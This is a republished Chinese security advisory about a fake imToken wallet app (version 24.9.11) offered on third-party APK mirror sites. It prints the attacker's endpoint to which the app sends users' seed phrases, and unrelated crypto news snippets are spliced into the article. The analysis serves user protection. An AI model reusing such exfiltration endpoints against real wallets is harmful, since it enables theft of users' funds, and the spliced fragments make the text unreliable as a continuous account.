慢雾安全团队建议使用钱包、交易所时请认准官方下载渠道并从多方进行验证。
原文：https://foresightnews.pro/article/h5Detail/31716
作者：山&耀
转自：ForesightNews
背景
基于区块链技术的Web3正在驱动下一代技术革命，越来越多的人开始参与到这场加密浪潮中，但Web3与Web2是两个截然不同的世界。Web3世界是一个充满着各种各样的机遇以及危险的黑暗森林，身处Web3世界中，钱包则是进入Web3世界的入口以及通行证。
当你通过钱包在Web3世界中探索体验诸多的区块链相关应用和网站的过程中，你会发现在一条公链上每个应用都是使用钱包「登录」；这与我们传统意义上的「登录」不同，在Web2世界中，每个应用之间的账户不全是互通的。但在Web3的世界中，所有应用都是统一使用钱包去进行「登录」，我们可以看到「登录」钱包时显示的不是「LoginwithWallet」，取而代之的是「ConnectWallet」。而钱包是你在Web3世界中的唯一通行证。
Ava Labs增长与战略副总裁Garrison Yang确认出席ChinaJoy Web3大会2023:据官方消息，Ava Labs增长与战略副总裁Garrison Yang已确认出席首届ChinaJoy Web3大会。作为全球最具知名度与影响力的数字娱乐年度盛会之一，第二十届ChinaJoy将于2023年7月28日至7月31日在上海新国际博览中心举办。今年ChinaJoy活动期间，将于 7 月 29 日在上海浦东嘉里酒店召开首届ChinaJoy Web3大会，会议聚焦探索新环境下的 Web3 技术高质量发展之路，并探讨和展示 Web3 技术赋能数字经济行业的创新成果。
本届ChinaJoy Web3大会由汉威信恒、新火科技与D11 Labs联合主办，中国音像与数字出版协会作为指导单位，亚马逊云科技（AWS）、Ava Labs等全球战略合作伙伴共建参与，大会以“创变数字经济新时代”为主题。[2023/7/11 10:48:15]
俗话说高楼之下必有阴影，在如此火热的Web3世界里，钱包作为入口级应用，自然也被黑灰产业链盯上。
香港 Web3.0 协会成立典礼正式开幕:4月11日消息，香港 Web3.0 协会成立典礼正式开幕并在线上进行同步直播，典礼议程包括理事会会长及主礼嘉宾致辞、协会主要成员委任仪式、高峰论坛等议程，出席嘉宾包括香港特别行政区行政长官李家超、香港立法会主席梁君彦、香港保安局长邓炳强等。
香港 Web3.0 协会是跨业界和非牟利的机构，旨在响应国家和香港特区政府的号召，促进香港数码新世界 Web3.0“第三代互联网”生态环境的建设。协会致力推动技术变革和产业升级，为业界创立产业标准。[2023/4/11 13:56:47]
在Android环境下，由于很多手机不支持GooglePlay或者因为网络问题，很多人会从其他途径下载GooglePlay的应用，比如：apkcombo、apkpure等第三方下载站，这些站点往往标榜自己App是从GooglePlay镜像下载的，但是其真实安全性如何呢？
Bybit在以太坊上海升级前推出支持ETH质押选项的Web3质押池:金色财经报道，加密货币交易所Bybit在以太坊上海升级前宣布推出支持ETH质押选项的Web3质押池，据悉其服务无需用户持有ETH，而是可以使用BTC、USDT和USDC余额访问该产品。（newsghana）[2023/4/1 13:39:32]
网站分析
鉴于下载途径众多，我们今天以apkcombo为例看看，apkcombo是一个第三方应用市场，它提供的应用据官方说大部分来源于其他正规应用商店，但事实是否真如官方所说呢？
我们先看下apkcombo的流量有多大：
据数据统计站点similarweb统计，apkcombo站点：
《龙与地下城》将禁止NFT等衍生Web3内容:1月14日消息，由于遭到社区反对，知名游戏《龙与地下城》游戏商Wizards of the Coast将修改许可变更，NFT等衍生Web3内容在新规则下将会被禁止。
Wizards of the Coast在2022年首次分享了《龙与地下城》的开放游戏许可证（OGL）计划，允许粉丝和其他公司创作和销售受游戏启发的衍生作品，包括NFT数字藏品等，但之后遭到社区反对。
据悉，新计划明确了OGL内容竞选与桌面角色扮演内容（如游戏活动、模块和补件）等，该公司还向社区承诺OGL仅为内容创作者、自制者、有抱负的设计师、玩家和社区服务，不会被大公司用于商业和促销目的。（Decrypt）[2023/1/14 11:11:32]
全球排名：1,809国家排名：7,370品类排名：168我们可以看到它的影响力和流量都非常大。它默认提供了一款chromeAPK下载插件，我们发现这款插件的用户数达到了10W：
香橼创始人：比特币没有任何效用，Web3是一个巨大的幻觉:金色财经报道，美国知名空头机构香橼（Citron Research）创始人Andrew Left在接受采访时表示，如果比特币跌至1万美元，以太坊跌至200美元，他一点也不会感到意外，因为它们没有任何效用，也没有被接受作为一种支付手段。
他还称，Web3是一个巨大的幻觉，它的目的只是为了从大型科技公司手中夺走权力。（Benzinga）[2022/7/14 2:12:07]
那么回到我们关注的Web3领域中钱包方向，用户如果从这里下载的钱包应用安全性如何？我们拿知名的imToken钱包为例，其GooglePlay的正规下载途径为：https://play.google.com/store/apps/details?id=im.token.app
由于很多手机不支持GooglePlay或者因为网络问题，很多人会从这里下载GooglePlay的应用。而apkcombo镜像站的下载路径为：https://apkcombo.com/downloader/#package=im.token.app
上图我们可以发现，apkcombo提供的版本为24.9.11，经由imToken确认后，这是一个并不存在的版本！证实这是目前市面上假imToken钱包最多的一个版本。
在编写本文时imToken钱包的最新版本为2.11.3，此款钱包的版本号很高，显然是为了伪装成一个最新版本而设置的。
如下图，我们在apkcombo上发现，此假钱包版本显示下载量较大，此处的下载量应该是爬取的GooglePlay的下载量信息，安全起见，我们觉得有必要披露这个恶意App的来源，防止更多的人下载到此款假钱包。
同时我们发现类似的下载站还有如：uptodown下载地址：https://imtoken.br.uptodown.com/android
我们发现uptodown任意注册即可发布App，这导致钓鱼的成本变得极低：
钱包分析
在之前我们已经分析过不少假钱包的案例，如：2021-11-24我们披露：《慢雾：假钱包App已致上万人被盗，损失高达十三亿美元》，所以在此不再赘述。
我们仅对apkcombo提供版本为24.9.11这款假钱包进行分析，在开始界面创建钱包或导入钱包助记词时，虚假钱包会将助记词等信息发送到钓鱼网站的服务端去，如下图：
根据逆向APK代码和实际分析流量包发现，助记词发送方式：
https://api.funnel.rocks/api/trust?aid=10&wt=1&os=1&key=<助记词>
看下图，最早的「api.funnel.rocks」证书出现在2022-06-03，也就是攻击开始的大概时间：
俗话说一图胜千言，最后我们画一个流程图：
总结
目前这种局活动不仅活跃，甚至有扩大范围的趋势，每天都有新的受害者受。用户作为安全体系最薄弱的环节，应时刻保持怀疑之心，增强安全意识与风险意识，当你使用钱包、交易所时请认准官方下载渠道并从多方进行验证；如果你的钱包从上述镜像站下载，请第一时间转移资产并卸载该软件，必要时可通过官方验证通道核实。
同时，如需使用钱包，请务必认准以下主流钱包App官方网址：
imToken钱包：https://token.im/TokenPocket钱包：https://www.tokenpocket.pro/TronLink钱包：https://www.tronlink.org/比特派钱包：https://bitpie.com/MetaMask钱包：https://metamask.io/TrustWallet：https://trustwallet.com/请持续关注慢雾安全团队，更多Web3安全风险分析与告警正在路上。
致谢：感谢在溯源过程中imToken官方提供的验证支持。
由于保密性和隐私性，本文只是冰山一角。慢雾在此建议，用户需加强对安全知识的了解，进一步强化甄别网络钓鱼攻击的能力等，避免遭遇此类攻击。更多的安全知识建议阅读慢雾出品的《区块链黑暗森林自救手册》。
?
郑重声明： 本文版权归原作者所有， 转载文章仅为传播更多信息之目的， 如作者信息标记有误， 请第一时间联系我们修改或删除， 多谢。